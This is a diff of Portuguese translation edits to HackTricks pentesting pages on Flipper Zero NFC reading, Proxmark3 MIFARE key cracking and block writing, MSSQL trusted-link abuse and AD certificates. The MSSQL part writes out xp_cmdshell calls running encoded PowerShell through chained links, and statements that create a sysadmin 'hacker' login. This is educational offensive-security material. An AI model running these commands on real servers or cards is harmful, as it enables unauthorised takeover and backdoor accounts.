* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -28,7 +28,7 @@ Para informações sobre RFID e NFC, consulte a seguinte página:
|
|||
[pentesting-rfid.md](../../../radio-hacking/pentesting-rfid.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Cartões NFC suportados <a href="#9wrzi" id="9wrzi"></a>
|
||||
## Cartões NFC Suportados <a href="#9wrzi" id="9wrzi"></a>
|
||||
|
||||
{% hint style="danger" %}
|
||||
Além dos cartões NFC, o Flipper Zero suporta **outros tipos de cartões de alta frequência** como vários **Mifare** Classic e Ultralight e **NTAG**.
|
||||
|
@ -36,10 +36,10 @@ Além dos cartões NFC, o Flipper Zero suporta **outros tipos de cartões de alt
|
|||
|
||||
Novos tipos de cartões NFC serão adicionados à lista de cartões suportados. O Flipper Zero suporta os seguintes **tipos de cartões NFC tipo A** (ISO 14443A):
|
||||
|
||||
* **Cartões bancários (EMV)** — apenas lê UID, SAK e ATQA sem salvar.
|
||||
* **Cartões desconhecidos** — lê (UID, SAK, ATQA) e emula um UID.
|
||||
* **Cartões bancários (EMV)** — apenas lê UID, SAK e ATQA sem salvar.
|
||||
* **Cartões desconhecidos** — lê (UID, SAK, ATQA) e emula um UID.
|
||||
|
||||
Para os **tipos de cartões NFC B, F e V**, o Flipper Zero é capaz de ler um UID sem salvá-lo.
|
||||
Para os **tipos de cartões NFC tipo B, tipo F e tipo V**, o Flipper Zero é capaz de ler um UID sem salvá-lo.
|
||||
|
||||
### Cartões NFC tipo A <a href="#uvusf" id="uvusf"></a>
|
||||
|
||||
|
@ -47,7 +47,7 @@ Para os **tipos de cartões NFC B, F e V**, o Flipper Zero é capaz de ler um UI
|
|||
|
||||
O Flipper Zero só pode ler um UID, SAK, ATQA e dados armazenados em cartões bancários **sem salvar**.
|
||||
|
||||
Tela de leitura de cartão bancárioPara cartões bancários, o Flipper Zero só pode ler dados **sem salvar e emulá-los**.
|
||||
Tela de leitura de cartão bancárioPara cartões bancários, o Flipper Zero só pode ler dados **sem salvar e emular**.
|
||||
|
||||
<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-26-31.png?auto=format&ixlib=react-9.1.1&h=916&w=2662" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -59,7 +59,7 @@ Tela de leitura de cartão desconhecidoPara cartões NFC desconhecidos, o Flippe
|
|||
|
||||
<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-27-53.png?auto=format&ixlib=react-9.1.1&h=932&w=2634" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Tipos de cartões NFC B, F e V <a href="#wyg51" id="wyg51"></a>
|
||||
### Tipos de Cartões NFC B, F e V <a href="#wyg51" id="wyg51"></a>
|
||||
|
||||
Para os **tipos de cartões NFC B, F e V**, o Flipper Zero só pode **ler e exibir um UID** sem salvá-lo.
|
||||
|
||||
|
@ -79,7 +79,7 @@ O Flipper Zero pode **ler cartões NFC**, no entanto, ele **não entende todos o
|
|||
|
||||
No Flipper, a leitura de tags de 13,56 MHz pode ser dividida em duas partes:
|
||||
|
||||
* **Leitura de baixo nível** — lê apenas o UID, SAK e ATQA. O Flipper tenta adivinhar o protocolo de alto nível com base nos dados lidos do cartão. Você não pode ter certeza de 100% disso, pois é apenas uma suposição com base em certos fatores.
|
||||
* **Leitura de baixo nível** — lê apenas o UID, SAK e ATQA. O Flipper tenta adivinhar o protocolo de alto nível com base nesses dados lidos do cartão. Você não pode ter certeza de 100% disso, pois é apenas uma suposição com base em certos fatores.
|
||||
* **Leitura de alto nível** — lê os dados da memória do cartão usando um protocolo de alto nível específico. Isso seria ler os dados em um Mifare Ultralight, ler os setores de um Mifare Classic ou ler os atributos do cartão de PayPass/Apple Pay.
|
||||
|
||||
### Leitura Específica
|
||||
|
@ -88,8 +88,8 @@ Caso o Flipper Zero não seja capaz de encontrar o tipo de cartão a partir dos
|
|||
|
||||
#### Cartões Bancários EMV (PayPass, payWave, Apple Pay, Google Pay) <a href="#emv-bank-cards-paypass-paywave-apple-pay-google-pay" id="emv-bank-cards-paypass-paywave-apple-pay-google-pay"></a>
|
||||
|
||||
Além de simplesmente ler o UID, você pode extrair muitos mais dados de um cartão bancário. É possível **obter o número completo do cartão** (os 16 dígitos na frente do cartão), **data de validade** e em alguns casos até o **nome do proprietário** juntamente com uma lista das **transações mais recentes**.\
|
||||
No entanto, você **não pode ler o CVV dessa forma** (os 3 dígitos na parte de trás do cartão). Além disso, **os cartões bancários são protegidos contra ataques de replay**, então copiá-los com o Flipper e depois tentar emulá-los para pagar algo não funcionará.
|
||||
Além de simplesmente ler o UID, você pode extrair muito mais dados de um cartão bancário. É possível **obter o número completo do cartão** (os 16 dígitos na frente do cartão), **data de validade** e, em alguns casos, até o **nome do proprietário** juntamente com uma lista das **transações mais recentes**.\
|
||||
No entanto, **não é possível ler o CVV dessa forma** (os 3 dígitos no verso do cartão). Além disso, **os cartões bancários estão protegidos contra ataques de replay**, então copiá-los com o Flipper e depois tentar emulá-los para pagar algo não funcionará.
|
||||
|
||||
## Referências
|
||||
|
||||
|
@ -105,10 +105,10 @@ Encontre vulnerabilidades que mais importam para que você possa corrigi-las mai
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente de graça**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -26,7 +26,7 @@ A primeira coisa que você precisa fazer é ter um [**Proxmark3**](https://proxm
|
|||
|
||||
### Atacando MIFARE Classic 1KB
|
||||
|
||||
Ele tem **16 setores**, cada um com **4 blocos** e cada bloco contém **16B**. O UID está no setor 0 bloco 0 (e não pode ser alterado).\
|
||||
Possui **16 setores**, cada um com **4 blocos** e cada bloco contém **16B**. O UID está no setor 0 bloco 0 (e não pode ser alterado).\
|
||||
Para acessar cada setor, você precisa de **2 chaves** (**A** e **B**) que são armazenadas no **bloco 3 de cada setor** (trailer do setor). O trailer do setor também armazena os **bits de acesso** que concedem permissões de **leitura e escrita** em **cada bloco** usando as 2 chaves.\
|
||||
2 chaves são úteis para dar permissões de leitura se você souber a primeira e de escrita se souber a segunda (por exemplo).
|
||||
|
||||
|
@ -49,11 +49,11 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
|
|||
proxmark3> hf mf eget 01 # Read block 1
|
||||
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
||||
```
|
||||
O Proxmark3 permite realizar outras ações como **interceptar** a **comunicação entre o Tag e o Leitor** para tentar encontrar dados sensíveis. Neste cartão, você pode simplesmente interceptar a comunicação e calcular a chave usada porque as **operações criptográficas utilizadas são fracas** e, conhecendo o texto simples e cifrado, você pode calculá-la (ferramenta `mfkey64`).
|
||||
O Proxmark3 permite realizar outras ações como **interceptar** a **comunicação Tag para Leitor** para tentar encontrar dados sensíveis. Neste cartão, você pode simplesmente interceptar a comunicação e calcular a chave usada porque as **operações criptográficas utilizadas são fracas** e, conhecendo o texto simples e cifrado, você pode calculá-la (ferramenta `mfkey64`).
|
||||
|
||||
### Comandos Raw
|
||||
|
||||
Os sistemas IoT às vezes usam **tags não marcadas ou não comerciais**. Nesse caso, você pode usar o Proxmark3 para enviar **comandos raw personalizados para as tags**.
|
||||
Sistemas IoT às vezes usam **tags não marcadas ou não comerciais**. Nesse caso, você pode usar o Proxmark3 para enviar **comandos raw personalizados para as tags**.
|
||||
```bash
|
||||
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
|
||||
SAK : 08 [2]
|
||||
|
@ -63,7 +63,7 @@ No chinese magic backdoor command detected
|
|||
Prng detection: WEAK
|
||||
Valid ISO14443A Tag Found - Quiting Search
|
||||
```
|
||||
Com essa informação, você poderia tentar buscar informações sobre o cartão e sobre a forma de se comunicar com ele. O Proxmark3 permite enviar comandos brutos como: `hf 14a raw -p -b 7 26`
|
||||
Com essa informação, você poderia tentar buscar informações sobre o cartão e sobre a forma de comunicar com ele. O Proxmark3 permite enviar comandos brutos como: `hf 14a raw -p -b 7 26`
|
||||
|
||||
### Scripts
|
||||
|
||||
|
@ -84,10 +84,10 @@ Encontre as vulnerabilidades mais importantes para que possa corrigi-las mais ra
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦** [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -18,16 +18,4 @@ Antes de mais nada, é necessário indicar que todos os **créditos das técnica
|
|||
|
||||
HackTricks é uma Wiki educacional que compila conhecimento sobre **cibersegurança** liderada por Carlos com centenas de colaboradores! É uma **grande coleção de truques de hacking** que é atualizada pela comunidade sempre que possível para mantê-la atualizada. Se você achar que algo está faltando ou desatualizado, por favor, envie um **Pull Request** para [**Hacktricks Github**](https://github.com/carlospolop/hacktricks)!
|
||||
|
||||
HackTricks também é uma wiki onde **muitas pesquisas compartilham suas últimas descobertas**, sendo um ótimo lugar para se manter atualizado com as técnicas de hacking mais recentes.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦** [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
HackTricks também é uma wiki onde **muitas pesquisas compartilham suas descobertas mais recentes**, sendo um ótimo lugar para se manter atualizado com as últimas técnicas de hacking.
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -65,7 +65,7 @@ Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
|
|||
## This won't use trusted SQL links
|
||||
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
|
||||
```
|
||||
### RCE no MSSQL
|
||||
### MSSQL RCE
|
||||
|
||||
Também pode ser possível **executar comandos** dentro do host MSSQL
|
||||
```powershell
|
||||
|
@ -76,9 +76,13 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
|
|||
|
||||
Verifique na página mencionada na **seção seguinte como fazer isso manualmente.**
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
|
||||
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Links Confiáveis do MSSQL
|
||||
|
||||
Se uma instância do MSSQL é confiável (link de banco de dados) por uma instância diferente do MSSQL. Se o usuário tiver privilégios sobre o banco de dados confiável, ele poderá **usar o relacionamento de confiança para executar consultas também na outra instância**. Essas confianças podem ser encadeadas e, em algum momento, o usuário pode encontrar algum banco de dados mal configurado onde ele pode executar comandos.
|
||||
Se uma instância do MSSQL é confiável (link de banco de dados) por uma instância diferente do MSSQL. Se o usuário tiver privilégios sobre o banco de dados confiável, ele será capaz de **usar o relacionamento de confiança para executar consultas também na outra instância**. Essas confianças podem ser encadeadas e, em algum momento, o usuário pode ser capaz de encontrar algum banco de dados mal configurado onde ele pode executar comandos.
|
||||
|
||||
**Os links entre bancos de dados funcionam mesmo através de confianças entre florestas.**
|
||||
|
||||
|
@ -126,9 +130,9 @@ Observe que o metasploit tentará abusar apenas da função `openquery()` no MSS
|
|||
|
||||
### Manual - Openquery()
|
||||
|
||||
No **Linux**, você pode obter um shell de console MSSQL com **sqsh** e **mssqlclient.py.**
|
||||
Do **Linux**, você poderia obter um shell de console MSSQL com **sqsh** e **mssqlclient.py.**
|
||||
|
||||
No **Windows**, você também pode encontrar os links e executar comandos manualmente usando um **cliente MSSQL como** [**HeidiSQL**](https://www.heidisql.com)
|
||||
Do **Windows**, você também poderia encontrar os links e executar comandos manualmente usando um **cliente MSSQL como** [**HeidiSQL**](https://www.heidisql.com)
|
||||
|
||||
_Login usando autenticação do Windows:_
|
||||
|
||||
|
@ -140,7 +144,7 @@ select * from master..sysservers
|
|||
```
|
||||
![](<../../.gitbook/assets/image (168).png>)
|
||||
|
||||
#### Executar consultas em link confiável
|
||||
#### Executar consultas em um link confiável
|
||||
|
||||
Execute consultas através do link (exemplo: encontrar mais links na nova instância acessível):
|
||||
```sql
|
||||
|
@ -160,11 +164,11 @@ SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''p
|
|||
# Second level RCE
|
||||
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')
|
||||
```
|
||||
Se não conseguir realizar ações como `exec xp_cmdshell` a partir de `openquery()`, tente com o método `EXECUTE`.
|
||||
Se não for possível realizar ações como `exec xp_cmdshell` a partir de `openquery()`, tente com o método `EXECUTE`.
|
||||
|
||||
### Manual - EXECUTE
|
||||
|
||||
Também é possível abusar de links confiáveis usando `EXECUTE`:
|
||||
Você também pode abusar de links confiáveis usando `EXECUTE`:
|
||||
```bash
|
||||
#Create user and give admin privileges
|
||||
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
||||
|
@ -172,8 +176,8 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
|
|||
```
|
||||
## Escalação de Privilégios Local
|
||||
|
||||
O usuário local do **MSSQL** geralmente possui um tipo especial de privilégio chamado **`SeImpersonatePrivilege`**. Isso permite que a conta "impersonate a client after authentication" (impersonar um cliente após autenticação).
|
||||
O **usuário local MSSQL** geralmente possui um tipo especial de privilégio chamado **`SeImpersonatePrivilege`**. Isso permite que a conta "impersonate a client after authentication" (impersonar um cliente após autenticação).
|
||||
|
||||
Uma estratégia que muitos autores desenvolveram é forçar um serviço **SYSTEM** a se autenticar em um serviço falso ou man-in-the-middle criado pelo atacante. Esse serviço falso é então capaz de se passar pelo serviço **SYSTEM** enquanto ele está tentando se autenticar.
|
||||
Uma estratégia que muitos autores desenvolveram é forçar um serviço SYSTEM a autenticar em um serviço falso ou man-in-the-middle que o atacante cria. Esse serviço falso é então capaz de se passar pelo serviço SYSTEM enquanto ele está tentando se autenticar.
|
||||
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato) possui uma coleção dessas várias técnicas que podem ser executadas através do comando `execute-assembly` do Beacon.
|
||||
|
|
|
@ -2,150 +2,127 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informações Básicas
|
||||
## Introdução
|
||||
|
||||
### Partes de um certificado
|
||||
### Componentes de um Certificado
|
||||
|
||||
* **Subject** - O proprietário do certificado.
|
||||
* **Public Key** - Associa o Subject com uma chave privada armazenada separadamente.
|
||||
* **Datas NotBefore e NotAfter** - Definem a duração da validade do certificado.
|
||||
* **Serial Number** - Um identificador para o certificado atribuído pela CA.
|
||||
* **Issuer** - Identifica quem emitiu o certificado (comumente uma CA).
|
||||
* **SubjectAlternativeName** - Define um ou mais nomes alternativos pelos quais o Subject pode ser conhecido. (_Veja abaixo_)
|
||||
* **Basic Constraints** - Identifica se o certificado é uma CA ou uma entidade final, e se existem restrições ao usar o certificado.
|
||||
* **Extended Key Usages (EKUs)** - Identificadores de objeto (OIDs) que descrevem **como o certificado será usado**. Também conhecido como Enhanced Key Usage na terminologia da Microsoft. OIDs EKU comuns incluem:
|
||||
* Code Signing (OID 1.3.6.1.5.5.7.3.3) - O certificado é para assinatura de código executável.
|
||||
* Encrypting File System (OID 1.3.6.1.4.1.311.10.3.4) - O certificado é para criptografia de sistemas de arquivos.
|
||||
* Secure Email (1.3.6.1.5.5.7.3.4) - O certificado é para criptografia de e-mail.
|
||||
* Client Authentication (OID 1.3.6.1.5.5.7.3.2) - O certificado é para autenticação em outro servidor (por exemplo, para AD).
|
||||
* Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2) - O certificado é para uso em autenticação de smart card.
|
||||
* Server Authentication (OID 1.3.6.1.5.5.7.3.1) - O certificado é para identificação de servidores (por exemplo, certificados HTTPS).
|
||||
* **Signature Algorithm** - Especifica o algoritmo usado para assinar o certificado.
|
||||
* **Signature** - A assinatura do corpo do certificado feita usando a chave privada do emissor (por exemplo, de uma CA).
|
||||
- O **Assunto** do certificado denota seu proprietário.
|
||||
